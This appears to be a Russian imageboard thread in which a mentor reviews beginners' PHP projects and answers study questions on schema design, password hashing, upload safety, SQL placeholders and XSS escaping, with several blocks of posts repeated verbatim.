Зачем utf8_bin? В чем выгода от регистрозависимого сравнения и сортировки?
> CREATE TABLE IF NOT EXISTS `comments` (
Вот это IF NOT EXISTS это плохая идея, так как лучше пусть он при разворачивании дампа выдаст ошибку чем оставит старую таблицу и напишет что все ок. Покрути в средстве, которым ты делаешь дамп, нужные настройки.
> INSERT INTO `users` (`id`, `login`, `password`, `email`, `cookie`) VALUES
Этот обрывок запроса надо удалить.
> `user_id` int(11) NOT NULL,
> `file_id` int(11) NOT NULL,
Где внешние ключи? http://denis.in.ua/foreign-keys-in-mysql.htm Если не очень хорошо знаешь базы данных, в ОП посте есть хорошие задачки на SQL
База без внешних ключей это не реляционная база, а свалка.
> `temporary` date NOT NULL,
Непонятно что значит это поле. Надо добавить к нему комментарий с помощью слова COMMENT: http://ru.stackoverflow.com/questions/385277/%D0%9A%D0%B0%D0%BA-%D1%83%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D1%8C-%D0%BA%D0%BE%D0%BC%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%80%D0%B8%D0%B8-%D0%BA-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B5-%D0%B8-%D1%81%D1%82%D0%BE%D0%BB%D0%B1%D1%86%D0%B0%D0%BC-mysql
Этот комментарий остается в базе и поможет в ней разобраться.
> `tags` varchar(255) COLLATE utf8_bin NOT NULL,
Почему tags строкой а не отдельной сущностью? Погугли по словам «нормализация sql» и прочти любую статью на эту тему, которая тебе больше нравится, и подумай, правильно ли ты реализовал теги. Учти, там есть заумные статьи, а есть где написано простыми словами.
> `public` enum('1','0') COLLATE utf8_bin DEFAULT '0',
Для ENUM нельзя использовать числа так как mysql поймет их не как значения, а как номер опции. Для ENUM надо использовать только текстовые, написанные латинницей, значения. Например yes/no, true/false. Ну или можно использовать еще TINYINT(1) NOT NULL DEFAULT 0
> `cookie` varchar(200) COLLATE utf8_bin NOT NULL,
> `token` varchar(255) COLLATE utf8_bin NOT NULL,
Нужны комментарии
> `filesize` varchar(266) COLLATE utf8_bin NOT NULL
Почему размер это строка? И почему в ней 266 символов?
> `login` varchar(255) COLLATE utf8_bin NOT NULL,
мне кажется ты зря тут ставишь utf8_bin так как он будет считать name и NaMe разными именами, а на мой взгляд это практически одно и то же. Тут лучше ставить collation для сравнения без учета регистра символов.
Также, на таблицах users, files надо проставить уникальные ключи для колонок, чьи значения не могут повторяться.
> `password` varchar(500) COLLATE utf8_bin NOT NULL,
Нужен комментарий что именно там хранится, пароль, хеш, или что-то еще (и если ты не хранишь соленый хеш то придется переделывать, почитай урок https://gist.github.com/codedokode/9576319 ).
> https://github.com/toppestkek/TwigBlog/blob/master/app/start.php#L25
Почему require, а не require_once, если это файлы с классами?
> https://github.com/toppestkek/TwigBlog/blob/master/app/start.php#L31
> $app->render('Header.php', compact('app'));
> $app->run();
Это неправильно. Во-первых Слим не расситан на такой сценарий использования, во-вторых при таком подходе мы например не можем выводить заголовки, не можем отдавать не-html файлы.
Подключать шапку придется в конкретном шаблоне. Если бы ты использовал twig, то там есть такая штука как наследование шаблонов, она как раз для этого придумана.
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes.php
Это не очень хороший подход. Суть микрофреймворка в том, что контроллеры там крошечные и мы кладем их в один файл, все в одном месте, кратно и понятно. А если у тебя так много файлов то может быть тебе нужен другой фреймворк.
В твоем конкретном случае не надо писать код простыней прямо в контроллере. делал ли ты задание про студентов? Знаком ли с MVC? Если нет, то стоит вернуться и познакомиться.
> require "dbconfig.php";
> require 'cookie.php';
Мне кажется, оно того не стоит, заводить кучу мелких файлов вместо того чтобы написать все тут же. Идея микрофреймворка в том, что у нас относительно небольшой index.php в котором и происхоит инициализация.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes.php
Это надо заменить на автозагрузчик классов c spl_autoload_register
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/home.php
тут неработающий код, переменная $files не определена
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L18
HTML код должен быть в шаблоне
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L25
> htmlspecialchars($_FILES['img']['name']))
Зачем htmlspecialchars тут?
> move_uploaded_file($_FILES["img"]["tmp_name"], $target_file);
Нет проверок имени файла, тебе можно легко закачать например php скрипт или .htaccess файл. Вот что надо сделать:
- запретить выполнение php кода в папке uploads ( php_flag engine 0 )
- увы, многие хостеры игнорируют описанную выше команду потому придется при загрузке переименовывать файлы, давая им безопасное имя и расширение, а оригинальное имя сохранять в базе и подставлять при скачивании. Имя выбирай так, чтобы оно было понятно человеку-админу.
Также при загрузке надо проверять нет ли ошибки: http://php.net/manual/ru/features.file-upload.errors.php
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L47
> $foo = new Foo;
как ты корабль назывешь так он и поплывет. Сделай нормальные названия.
> $mapper = new FooMapper($db);
Маппер надо сделать сигнлтоном в Слиме.
Простыню с загрузкой и обработкой файла лучше вынести в методы какого-нибудь класса, например FileUploader, методов логично сделать два: первый для проверки, все ли верно, не превышен ли размер файла и тд, второй для собственно загрузки.
> $tokenGenerate = new Token();
Если это класс-генератор токенов то надо так его и назвать, а также сделать синглтоном в Слиме. Хотя тут если никаких полей у него нет, можно сделать метод генерации пароля статическим. Ну и 8 букв это несерьезно.
> $public =htmlspecialchars($_POST['public']);
зачем htmlspecialchars? Также, надо использовать $app->request, а не _POST.
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L4
> ini_set('display_errors','On');
Это надо либо удалить либо перенести в start.php
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L12
> foreach($files as $file=>$value){
foreach используют там где может быть несколько записей. У тебя это так?
> filename=' . basename($log);
Это не работает так как по стандарту в заголовках можно использовать только ASCII (латинницу). Чтобы дать произвольное имя, надо заканчивать URL на него, напрмиер /download/123/название%20файла.txt
Также, отдача файла через readfile очень неэффективна так как держит ресурсы всего PHP процесса пока файл не скачается. Да и например докачивать файл PHP не умеет. Отдавать файл должен сервер, и я проедлагаю один из 2 вариантов:
- трюк с .htaccess (работает только в Апаче), когда мы переписываем URL чтобы при обращении /download/123/название%20файла.txt отдавался /uploads/123.txt. При этом считать скачивания не получится.
- использовать модуль XSendFile:
https://tn123.org/mod_xsendfile/ (англ)
http://habrahabr.ru/post/151795/ (рус)
Суть в том что PHP тут вызывается до скачивания, проверяет все ли ок, и затем отдает специальный заголовок который перехватывает сервер и далее уже без участия PHP файл отдается со всеми удобствами.
Для начала разберемся с файловой структурой (я бы еще репозиторий переименовал конечно).
holder.png —> надо переложить в папку картинок, например images
nbproject -> убрать из репозитория, закоммитить, добавить в гитигнор, вернуть (гитигнор: https://git-scm.com/book/ru/v1/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-Git-%D0%97%D0%B0%D0%BF%D0%B8%D1%81%D1%8C-%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B9-%D0%B2-%D1%80%D0%B5%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%B9 )
bootstrap, jasny-bootstrap — должен остаться только один, лучше переместить его в папку например styles или static, также ничего не правь в сторонних библиотеках
Slim, tests — непонятно зачем тут эти папки из Слима. Ты смешал в кучу свой код и сторонний и как теперь понять, где что? Все, что относится к Слиму надо вынести в отдельную папку, например third-party/slim, а еще лучше установить его через композер. Это же вторая задача, пора уже научиться пользоваться композером. Статей в интернете полно, и на русском, и на английском.
Также, чтобы пользоваться композером, надо знать командную строку, у меня есть гайд: https://gist.github.com/codedokode/10539568
В задании про композер написано: https://gist.github.com/codedokode/9424217
uploads — надо внести содержимое в гитигнор, но саму папку оставить в репозитории (для этого можно поместить в нее файл .placeholder и закоммитить его, и для него сделать исключение в гитигноре. Гит управляет только файлами и в нем нельзя добавить пустую папку).
Еще насчет файлов, есть такой подход когда весь код выносится за пределы корневой папки веб-сервера. То есть мы делаем допустим папку public, в нее кладем index.php, стили, скрипты, а все что пользователю видеть не положено, выносим за ее пределы. Это повышает безопасность, так как не позволяет скачать какие-то посторонние файлы снаружи. Не хочешь попробовать сделать? Придется только в конфиге Апача путь к папке поменять.
Теперь посмотрим базу данных
> `name` varchar(255) COLLATE utf8_bin NOT NULL,
Зачем utf8_bin? В чем выгода от регистрозависимого сравнения и сортировки?
> CREATE TABLE IF NOT EXISTS `comments` (
Вот это IF NOT EXISTS это плохая идея, так как лучше пусть он при разворачивании дампа выдаст ошибку чем оставит старую таблицу и напишет что все ок. Покрути в средстве, которым ты делаешь дамп, нужные настройки.
> INSERT INTO `users` (`id`, `login`, `password`, `email`, `cookie`) VALUES
Этот обрывок запроса надо удалить.
> `user_id` int(11) NOT NULL,
> `file_id` int(11) NOT NULL,
Где внешние ключи? http://denis.in.ua/foreign-keys-in-mysql.htm Если не очень хорошо знаешь базы данных, в ОП посте есть хорошие задачки на SQL
База без внешних ключей это не реляционная база, а свалка.
> `temporary` date NOT NULL,
Непонятно что значит это поле. Надо добавить к нему комментарий с помощью слова COMMENT: http://ru.stackoverflow.com/questions/385277/%D0%9A%D0%B0%D0%BA-%D1%83%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D1%8C-%D0%BA%D0%BE%D0%BC%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%80%D0%B8%D0%B8-%D0%BA-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B5-%D0%B8-%D1%81%D1%82%D0%BE%D0%BB%D0%B1%D1%86%D0%B0%D0%BC-mysql
Этот комментарий остается в базе и поможет в ней разобраться.
> `tags` varchar(255) COLLATE utf8_bin NOT NULL,
Почему tags строкой а не отдельной сущностью? Погугли по словам «нормализация sql» и прочти любую статью на эту тему, которая тебе больше нравится, и подумай, правильно ли ты реализовал теги. Учти, там есть заумные статьи, а есть где написано простыми словами.
> `public` enum('1','0') COLLATE utf8_bin DEFAULT '0',
Для ENUM нельзя использовать числа так как mysql поймет их не как значения, а как номер опции. Для ENUM надо использовать только текстовые, написанные латинницей, значения. Например yes/no, true/false. Ну или можно использовать еще TINYINT(1) NOT NULL DEFAULT 0
> `cookie` varchar(200) COLLATE utf8_bin NOT NULL,
> `token` varchar(255) COLLATE utf8_bin NOT NULL,
Нужны комментарии
> `filesize` varchar(266) COLLATE utf8_bin NOT NULL
Почему размер это строка? И почему в ней 266 символов?
> `login` varchar(255) COLLATE utf8_bin NOT NULL,
мне кажется ты зря тут ставишь utf8_bin так как он будет считать name и NaMe разными именами, а на мой взгляд это практически одно и то же. Тут лучше ставить collation для сравнения без учета регистра символов.
Также, на таблицах users, files надо проставить уникальные ключи для колонок, чьи значения не могут повторяться.
> `password` varchar(500) COLLATE utf8_bin NOT NULL,
Нужен комментарий что именно там хранится, пароль, хеш, или что-то еще (и если ты не хранишь соленый хеш то придется переделывать, почитай урок https://gist.github.com/codedokode/9576319 ).
> https://github.com/toppestkek/TwigBlog/blob/master/app/start.php#L25
Почему require, а не require_once, если это файлы с классами?
> https://github.com/toppestkek/TwigBlog/blob/master/app/start.php#L31
> $app->render('Header.php', compact('app'));
> $app->run();
Это неправильно. Во-первых Слим не расситан на такой сценарий использования, во-вторых при таком подходе мы например не можем выводить заголовки, не можем отдавать не-html файлы.
Подключать шапку придется в конкретном шаблоне. Если бы ты использовал twig, то там есть такая штука как наследование шаблонов, она как раз для этого придумана.
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes.php
Это не очень хороший подход. Суть микрофреймворка в том, что контроллеры там крошечные и мы кладем их в один файл, все в одном месте, кратно и понятно. А если у тебя так много файлов то может быть тебе нужен другой фреймворк.
В твоем конкретном случае не надо писать код простыней прямо в контроллере. делал ли ты задание про студентов? Знаком ли с MVC? Если нет, то стоит вернуться и познакомиться.
> require "dbconfig.php";
> require 'cookie.php';
Мне кажется, оно того не стоит, заводить кучу мелких файлов вместо того чтобы написать все тут же. Идея микрофреймворка в том, что у нас относительно небольшой index.php в котором и происхоит инициализация.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes.php
Это надо заменить на автозагрузчик классов c spl_autoload_register
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/home.php
тут неработающий код, переменная $files не определена
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L18
HTML код должен быть в шаблоне
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L25
> htmlspecialchars($_FILES['img']['name']))
Зачем htmlspecialchars тут?
> move_uploaded_file($_FILES["img"]["tmp_name"], $target_file);
Нет проверок имени файла, тебе можно легко закачать например php скрипт или .htaccess файл. Вот что надо сделать:
- запретить выполнение php кода в папке uploads ( php_flag engine 0 )
- увы, многие хостеры игнорируют описанную выше команду потому придется при загрузке переименовывать файлы, давая им безопасное имя и расширение, а оригинальное имя сохранять в базе и подставлять при скачивании. Имя выбирай так, чтобы оно было понятно человеку-админу.
Также при загрузке надо проверять нет ли ошибки: http://php.net/manual/ru/features.file-upload.errors.php
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/insert.php#L47
> $foo = new Foo;
как ты корабль назывешь так он и поплывет. Сделай нормальные названия.
> $mapper = new FooMapper($db);
Маппер надо сделать сигнлтоном в Слиме.
Простыню с загрузкой и обработкой файла лучше вынести в методы какого-нибудь класса, например FileUploader, методов логично сделать два: первый для проверки, все ли верно, не превышен ли размер файла и тд, второй для собственно загрузки.
> $tokenGenerate = new Token();
Если это класс-генератор токенов то надо так его и назвать, а также сделать синглтоном в Слиме. Хотя тут если никаких полей у него нет, можно сделать метод генерации пароля статическим. Ну и 8 букв это несерьезно.
> $public =htmlspecialchars($_POST['public']);
зачем htmlspecialchars? Также, надо использовать $app->request, а не _POST.
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L4
> ini_set('display_errors','On');
Это надо либо удалить либо перенести в start.php
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L12
> foreach($files as $file=>$value){
foreach используют там где может быть несколько записей. У тебя это так?
> filename=' . basename($log);
Это не работает так как по стандарту в заголовках можно использовать только ASCII (латинницу). Чтобы дать произвольное имя, надо заканчивать URL на него, напрмиер /download/123/название%20файла.txt
Также, отдача файла через readfile очень неэффективна так как держит ресурсы всего PHP процесса пока файл не скачается. Да и например докачивать файл PHP не умеет. Отдавать файл должен сервер, и я проедлагаю один из 2 вариантов:
- трюк с .htaccess (работает только в Апаче), когда мы переписываем URL чтобы при обращении /download/123/название%20файла.txt отдавался /uploads/123.txt. При этом считать скачивания не получится.
- использовать модуль XSendFile:
https://tn123.org/mod_xsendfile/ (англ)
http://habrahabr.ru/post/151795/ (рус)
Суть в том что PHP тут вызывается до скачивания, проверяет все ли ок, и затем отдает специальный заголовок который перехватывает сервер и далее уже без участия PHP файл отдается со всеми удобствами.
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L27
> $app->db->query("UPDATE files SET
Вся работа с одной таблицей в БД должна быть только в одном классе
> `count`=count+1 WHERE id=$id");
Нельзя вставлять переменные в запрос, надо использовать плейсхолдеры
> https://github.com/toppestkek/TwigBlog/blob/master/app/dbconfig.php
Этот код стоит внести в start.php, а настройки базы вынести в файл примерно такого вида:
$dsn = ....;
$dbUser = ....;
$dbPassword = ...;
То есть чтобы в нем были только настройки приложения, а не код.
> $res['Expires'] = '0'
зачем это?
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Foo.php
> public $limit;
Что хранит свойство limit для файла? Я не понимаю.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/FooMapper.php#L10
> save(Foo &$foo)
Объекты передаются как по ссылке: http://php.net/manual/ru/language.oop5.references.php
зачем тут &?
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/FooMapper.php#L26
> catch(PDOException $e) {
> echo "Eror.";
Это абсолютно непраивльно. В статьях это пишут чтобы показать какие исключения бросает PDO а не чтобы ты скопировал это к себе. Прочитай урок про исключения: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a
Исключения от PDO ловить не надо, все исключения ловит Слим и выводит страницу-заглушку (точнее в твоем случае может быть не выведет так как ты уже успел вывести кусок шапки).
> WHERE tags LIKE '% :search %' ";
Это неэффективно так как ты делаешь полный перебор всех записей, а если вынести теги в отдельную таблицу (что и надо сделать) то можно будет сделать поиск по индексу. конечно когда у тебя 100 записей это не особо важно, но все равно теги так не делают.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Token.php
Отформатируй этот файл либо phpformatter либо кнопкой форматирования в IDE. Читать невозможно.
Метод generatePassword можно сделать статическим, так как он не использует никакие поля объекта и настройки и ни от чего не зависит.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Files.php
Непонятно в чем смысл класса у которого нет ни полей ни методов. Что представляет объект этого класса? Что он хранит?
И еще, напоследок скажу. Мне кажется, ты пропустил задачу про студентов, и зря. В ней изучается работа с формами, таблицами, вывод и редактирование записей. К самой задаче написаны подробные комментарии. Ты теряешь много знаний и практических навыков которые мог бы получить.
В шаблонах надо использовать if/foreach с двоеточием. Надо правильно экранировать выводимые данные, чтобы не было XSS: https://github.com/codedokode/pasta/blob/master/security/xss.md
> https://github.com/toppestkek/TwigBlog/blob/master/app/routes/download.php#L27
> $app->db->query("UPDATE files SET
Вся работа с одной таблицей в БД должна быть только в одном классе
> `count`=count+1 WHERE id=$id");
Нельзя вставлять переменные в запрос, надо использовать плейсхолдеры
> https://github.com/toppestkek/TwigBlog/blob/master/app/dbconfig.php
Этот код стоит внести в start.php, а настройки базы вынести в файл примерно такого вида:
$dsn = ....;
$dbUser = ....;
$dbPassword = ...;
То есть чтобы в нем были только настройки приложения, а не код.
> $res['Expires'] = '0'
зачем это?
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Foo.php
> public $limit;
Что хранит свойство limit для файла? Я не понимаю.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/FooMapper.php#L10
> save(Foo &$foo)
Объекты передаются как по ссылке: http://php.net/manual/ru/language.oop5.references.php
зачем тут &?
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/FooMapper.php#L26
> catch(PDOException $e) {
> echo "Eror.";
Это абсолютно непраивльно. В статьях это пишут чтобы показать какие исключения бросает PDO а не чтобы ты скопировал это к себе. Прочитай урок про исключения: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a
Исключения от PDO ловить не надо, все исключения ловит Слим и выводит страницу-заглушку (точнее в твоем случае может быть не выведет так как ты уже успел вывести кусок шапки).
> WHERE tags LIKE '% :search %' ";
Это неэффективно так как ты делаешь полный перебор всех записей, а если вынести теги в отдельную таблицу (что и надо сделать) то можно будет сделать поиск по индексу. конечно когда у тебя 100 записей это не особо важно, но все равно теги так не делают.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Token.php
Отформатируй этот файл либо phpformatter либо кнопкой форматирования в IDE. Читать невозможно.
Метод generatePassword можно сделать статическим, так как он не использует никакие поля объекта и настройки и ни от чего не зависит.
> https://github.com/toppestkek/TwigBlog/blob/master/app/classes/Files.php
Непонятно в чем смысл класса у которого нет ни полей ни методов. Что представляет объект этого класса? Что он хранит?
И еще, напоследок скажу. Мне кажется, ты пропустил задачу про студентов, и зря. В ней изучается работа с формами, таблицами, вывод и редактирование записей. К самой задаче написаны подробные комментарии. Ты теряешь много знаний и практических навыков которые мог бы получить.
В шаблонах надо использовать if/foreach с двоеточием. Надо правильно экранировать выводимые данные, чтобы не было XSS: https://github.com/codedokode/pasta/blob/master/security/xss.md
Да, будет, что поделать. Но мы верим что они все в итоге зарегистрируются на нашем чудесном сервисе. А какие у тебя есть альтернативы? Хранить коды доступа в 2 местах по моему сильно все усложняет.
Теоретически тут можно сделать Class Table Inheritance ( http://design-pattern.ru/patterns/class-table-inheritance.html ) вынеся колонки зарегистрированных пользователей в отдельную таблицу, но по моему это усложнение того не стоит.
У тебя есть другие идеи? С сохранением удобства для пользователей?
>>544949
Обычно сохраняется хеш и соль в одной строке, разделенные например двоеточием, эта же соль используется при сравнении.
>>544991
проверяет когда время есть
>>545010
Код неплохой, но во-первых нет проверки на ничью, во-вторых проверка на дабл должна идти до сравнения очков, так как при дабле у нас ничья даже если у кого=то очков меньше.
>>545239
Яваскриптом пересчитывать после выбора и блокировать отправку. Ну и предпреждение написать. А лучше конечно разрешить грузить сколько пользователь хочет.
>>545251
это неудобно для пользователя, 5 раз диалог открывать.
>>545279
> Уже давно определился, что следующий шаг это яваскрипт
А у нас если что и задачки есть в ОП посте, и на DOM, и на jQuery тоже есть. Ну и думаю дальше у тебя проще пойдет, вторую технологию легче изучать чем первую.
Да, будет, что поделать. Но мы верим что они все в итоге зарегистрируются на нашем чудесном сервисе. А какие у тебя есть альтернативы? Хранить коды доступа в 2 местах по моему сильно все усложняет.
Теоретически тут можно сделать Class Table Inheritance ( http://design-pattern.ru/patterns/class-table-inheritance.html ) вынеся колонки зарегистрированных пользователей в отдельную таблицу, но по моему это усложнение того не стоит.
У тебя есть другие идеи? С сохранением удобства для пользователей?
>>544949
Обычно сохраняется хеш и соль в одной строке, разделенные например двоеточием, эта же соль используется при сравнении.
>>544991
проверяет когда время есть
>>545010
Код неплохой, но во-первых нет проверки на ничью, во-вторых проверка на дабл должна идти до сравнения очков, так как при дабле у нас ничья даже если у кого=то очков меньше.
>>545239
Яваскриптом пересчитывать после выбора и блокировать отправку. Ну и предпреждение написать. А лучше конечно разрешить грузить сколько пользователь хочет.
>>545251
это неудобно для пользователя, 5 раз диалог открывать.
>>545279
> Уже давно определился, что следующий шаг это яваскрипт
А у нас если что и задачки есть в ОП посте, и на DOM, и на jQuery тоже есть. Ну и думаю дальше у тебя проще пойдет, вторую технологию легче изучать чем первую.
> https://github.com/never3ver/vector/blob/master/Classes/Employee.php#L86
> public function setCheck(){
забыл убрать наверно?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L10
> public function cloneDepartmentArray(array $source)
Я сомневаюсь что эта функция должна быть публичной и выставлена наружу. Зачем? Для кого?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L19
> public function cloneCompany(){
забыл убрать?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L73
> self::getCompanyQty
self исплоьзуется только для статических мтеодов и обращения к одноименному родительскому методу. Тут нужен $this-> (даже если PHP не ругается на код)
> https://github.com/never3ver/vector/blob/master/Classes/Department.php#L94
> public function cloneEmployees(){
Точно public?
> public function getEmployeesArray()
Так как SplObjectStorage является итератором, то получить из него массив можно такой малоизвестной функцией: http://php.net/manual/ru/function.iterator-to-array.php (переделывать не обязательно)
Но по хорошему конечно у него должен быть метод toArray(), не знаю почему его забыли сделать.
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L28
> for ($i = 0; $i < $engineersToFire; $i ++) {
> $engineersToFireArray[] = $engineers[$i];
array_slice нельзя поставить вместо цикла?
Алсо, при сортировке и увольнении надо исключать босса чтобы не уволить его случайно со всеми.
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L52
> foreach ($people as $employee) {
> if ($employee->isLeader()) {
Логично бы в департаменте сделать метод getLeader
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L57
> $highest;
Это что? Обращение к несуществующей переменной?
В общем, если ты не накосячишь, то после исправления этих замечаний задача будет решена, ну а ты, надеюсь, научился использовать ООП для моделирования предметной области задачи.
> https://github.com/never3ver/vector/blob/master/Classes/Employee.php#L86
> public function setCheck(){
забыл убрать наверно?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L10
> public function cloneDepartmentArray(array $source)
Я сомневаюсь что эта функция должна быть публичной и выставлена наружу. Зачем? Для кого?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L19
> public function cloneCompany(){
забыл убрать?
> https://github.com/never3ver/vector/blob/master/Classes/Company.php#L73
> self::getCompanyQty
self исплоьзуется только для статических мтеодов и обращения к одноименному родительскому методу. Тут нужен $this-> (даже если PHP не ругается на код)
> https://github.com/never3ver/vector/blob/master/Classes/Department.php#L94
> public function cloneEmployees(){
Точно public?
> public function getEmployeesArray()
Так как SplObjectStorage является итератором, то получить из него массив можно такой малоизвестной функцией: http://php.net/manual/ru/function.iterator-to-array.php (переделывать не обязательно)
Но по хорошему конечно у него должен быть метод toArray(), не знаю почему его забыли сделать.
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L28
> for ($i = 0; $i < $engineersToFire; $i ++) {
> $engineersToFireArray[] = $engineers[$i];
array_slice нельзя поставить вместо цикла?
Алсо, при сортировке и увольнении надо исключать босса чтобы не уволить его случайно со всеми.
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L52
> foreach ($people as $employee) {
> if ($employee->isLeader()) {
Логично бы в департаменте сделать метод getLeader
> https://github.com/never3ver/vector/blob/master/Classes/Anticrisis.php#L57
> $highest;
Это что? Обращение к несуществующей переменной?
В общем, если ты не накосячишь, то после исправления этих замечаний задача будет решена, ну а ты, надеюсь, научился использовать ООП для моделирования предметной области задачи.
Почитай для начала учебник по позиционированию (снизу вверх): http://softwaremaniacs.org/blog/category/primer/
Быстро не получится, чтобы нормально верстать, надо нормально знать HTML/CSS
Также, в шапке треда есть задания на HTML/CSS, если ты их пройдешь (и исправишь все замечания) то научишься верстать.
Ну еще есть htmlacademy но там еще дольше проходить.
>>545494
Профессионал способен разобраться даже в коде Друпала, а уж Вордпресс это отдых. Если ты знаешь фреймворки то хорошо так как ты понимаешь как обычно обрабатываются данные в веб-приложениях и можешт увидеть что-то аналогичное.
> то выделю по две недели на wp и друпал, пригодятся первое время.
Могу тогда предложить задачку: сделай на вордпрессе https://m.roem.ru. Админы и модераторы постят статьи и модерируют комменты, пользователи комментируют и предлагают новые статьи. Мобильную версию советую так как она проще.
>>545513
Sublime Text 3 но тебе советую освоить профессиональную IDE например Netbeans (бесплатно) или PhpStorm (бесплатно в рамках EAP).
>>545549
Не вызывать render до запуска Слима.
>>545550
Нет. В CMS есть готовая админка + функционал вроде вывода статей. Для простого сайта самое то, на фреймворке дольше. Сейчас много делают например на вордпрессе. Ну а интернет-магазин на CMS намного быстрее чем с нуля, если только это не микромагазин на несклоько товаров с индивидуальным дизайном.
Я делал сайты и так и так, я знаю.
>>545552
Неча на зеркало пенять
>>545564
Можно но класс состоящий из одного конструктора это очень странная вещь. Что представляет объект этого класса?
>>545576
Нет. В MVC контроллер подготавливает данные и вызывает Представление для их отображения.
> Или нужно напрямую сразу через контроллер взаимодействовать?
Управляет всем контроллер и вызывает представление чтобы отобразить результат.
>>545730
Нет ответ должен быть около 61270
Код лучше написать так:
- прибавляем проценты и комиссию к остатку долга
- если остаток маленький, выплачиваем сколько осталось и уходим
- иначе платим 5000
«Платим» здесь значит уменьшаем долг и увеличиваем общую сумму выплаченного.
>>545846
только чтобы нормально владеть jQuery надо сначала изучить DOM, XHR, события так как jQuery лишь удобная обертка над ними. У нас кстати в ОП посте в задачах на JS есть задачи на jQuery.
>>546063
> а решал ее через рекурсию, еще подскажи что можно прочесть для лучшего понимания того как правильно создавать и организовывать рекурсивные функции
Не знаю, можно наверно какие-то задачи порешать. Ну например, напиши рекурсивную функцию вычисления числа Фибоначчи с номером N:
https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8
Также, вот есть статья, но там примеры на Паскале, а ты попробуй взять задачу про башни оттуда и решить на PHP: http://www.tvd-home.ru/recursion#p6_2
Ну и вот еще статья если не боишься формул: https://ru.wikibooks.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F
> for ($i = 0; $i < $total; $i++) {
> $humans[$i] = $i + 1;
Функция range() не подойдет?
По коду: не проще ли сделать так: вычисляем номер следующего участника на удаление (прибавляя $skip с учетом зацикливания) и удаляем его через array_splice который перенумеровывает массив? Мне кажется, так было бы чуть понятнее и не пришлось бы делать сложные переносы участников из конца в начало.
Ну и в любом случае, нехорошо что у тебя там строки с формулами 2 раза повторяются, это как минимум надо в функцию вынести.
>>546129
У тебя там ошибки:
> PHP Notice: Undefined offset: 7 in /home/RaP7se/prog.php on line 34
Это потому что некоторые строки короче, а некоторые длиннее. Надо проверять сначала, есть ли в массиве такой элемент и если нет то выводить пробел вместо него.
Почитай для начала учебник по позиционированию (снизу вверх): http://softwaremaniacs.org/blog/category/primer/
Быстро не получится, чтобы нормально верстать, надо нормально знать HTML/CSS
Также, в шапке треда есть задания на HTML/CSS, если ты их пройдешь (и исправишь все замечания) то научишься верстать.
Ну еще есть htmlacademy но там еще дольше проходить.
>>545494
Профессионал способен разобраться даже в коде Друпала, а уж Вордпресс это отдых. Если ты знаешь фреймворки то хорошо так как ты понимаешь как обычно обрабатываются данные в веб-приложениях и можешт увидеть что-то аналогичное.
> то выделю по две недели на wp и друпал, пригодятся первое время.
Могу тогда предложить задачку: сделай на вордпрессе https://m.roem.ru. Админы и модераторы постят статьи и модерируют комменты, пользователи комментируют и предлагают новые статьи. Мобильную версию советую так как она проще.
>>545513
Sublime Text 3 но тебе советую освоить профессиональную IDE например Netbeans (бесплатно) или PhpStorm (бесплатно в рамках EAP).
>>545549
Не вызывать render до запуска Слима.
>>545550
Нет. В CMS есть готовая админка + функционал вроде вывода статей. Для простого сайта самое то, на фреймворке дольше. Сейчас много делают например на вордпрессе. Ну а интернет-магазин на CMS намного быстрее чем с нуля, если только это не микромагазин на несклоько товаров с индивидуальным дизайном.
Я делал сайты и так и так, я знаю.
>>545552
Неча на зеркало пенять
>>545564
Можно но класс состоящий из одного конструктора это очень странная вещь. Что представляет объект этого класса?
>>545576
